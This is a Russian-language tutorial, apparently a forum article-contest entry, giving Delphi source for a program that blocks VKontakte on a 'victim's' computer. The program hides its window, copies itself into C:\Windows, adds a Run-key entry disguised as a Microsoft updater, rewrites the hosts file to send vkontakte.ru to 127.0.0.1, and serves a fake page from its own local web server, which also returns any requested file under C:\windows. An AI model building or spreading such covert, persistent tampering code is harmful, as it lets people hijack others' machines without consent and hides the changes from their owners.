Добрый день, сегодня я , Yougan, опишу метод блокировки вконтакте
средствами Delphi. Главное преимущество нашей идеи состоит в том, что
она не требует хостинга.
http://s53.radikal.ru/i142/1102/e0/fee31b8fa216.bmp
Наша программка будет редактировать всем известный файл hosts и
поднимать на компьютере жертвы собственный http-сервер, таким образом
компьютер жертвы и будет хостом для сайта, на который будет прописан
редирект в хостс.
Нам потребуется
[1] Delphi 7
[2] Установленная библиотека Indy
Для начала создадим html-файлик, который станет страничкой, которую увидит пользователь, попытавшись войти на свой аккаунт.
В нем я написал следующее
<html>
<title>Вконтакте Добро Пожаловать</title>
</head>
<div align=center>
<image src=12.bmp>
</div>
</html>
Не забудьте создать картинку с именем 12.bmp
Моя картинка вот
http://s49.radikal.ru/i123/1102/d9/4b88381aea11.bmp
Теперь поместите наш файл и картинку в папку C:\Windows\
Приступим к написанию веб-сервера.
Кинем на форму idHTTPServer с закладки Indy Servers
Назовем его Server
В событии создания формы напишем
procedure TForm1.FormCreate(Sender: TObject);
var str:tstringlist;
begin
application.ShowMainForm:=false;
if not FileExists('C:\Windows\webserver.exe') then begin
CopyFile(pchar(application.exename),'C:\Windows\webserver.exe',false);
WinExec('C:\Windows\webserver.exe',sw_hide);
RegHosts;
RegRun;
Application.Terminate;
end
else
begin
RegRun;
RegHosts;
server.Active:=true;
end;
Теперь объявим процедуры RegRun и RegHosts
public
procedure RegHosts;
procedure RegRun;
end;
Пропись в реестр
procedure TForm1.RegRun;
var reg:tregistry;
begin
reg := tregistry.create;
reg.rootkey := hkey_local_machine;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run', false);
reg.writestring('MicrosoftWebServerUpdater.exe', 'C:\Windows\webserver.exe');
reg.closekey;
reg.free;
end;
Думаю, тут ничего объяснять не надо
Модификация файла хостс
Предварительно объявим глобальной переменной
FileStr:TStringlist;
procedure TForm1.RegHosts;
begin
Filestr:=tstringlist.Create;
Filestr.LoadFromFile('C:\Windows\System32\drivers\etc\hosts');
Filestr.Add('127.0.0.1 vkontakte.ru');
filestr.SaveToFile('C:\Windows\System32\drivers\etc\hosts');
Filestr.Free;
end;
Теперь перейдем к программированию обработки запросов,
Посылаемых браузером жертвы на сервер.
В обработчике события OnCommandGet Server'a напишем следующее
procedure TForm1.ServerCommandGet(AThread: TIdPeerThread;
ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
begin
if (pos('ndex',arequestinfo.document)=0)and(pos('12.bmp',arequestinfo.document)=0)
then
arequestinfo.Document:='index.html';
if arequestinfo.Document='/' then
begin
arequestinfo.Document:='';
aresponseinfo.ContentStream:=tfilestream.Create('C:\windows\index.html',fmopenread);
end else
if arequestinfo.Document<>'/' then
aresponseinfo.ContentStream:=tfilestream.Create('C:\windows\'+arequestinfo.Document,fmopenread);
end;
При разрушении формы напишем
Server.active:=false; // Иначе программа будет некорректно работать
В uses обязательно добавьте Registry, иначе прописаться в реестр программа не сможет.
Теперь проверим, наберем в окне любого браузера 127.0.0.1
Если вам не открылся ваш html файл, то где-то вы допустили ошибку.
Теперь пробуем ввести vkontakte.ru
Если я где-то ошибся, вот исходник
http://zalil.ru/30467699
Статья участвует в конкурсе статей.
P.S. авторство Yuogan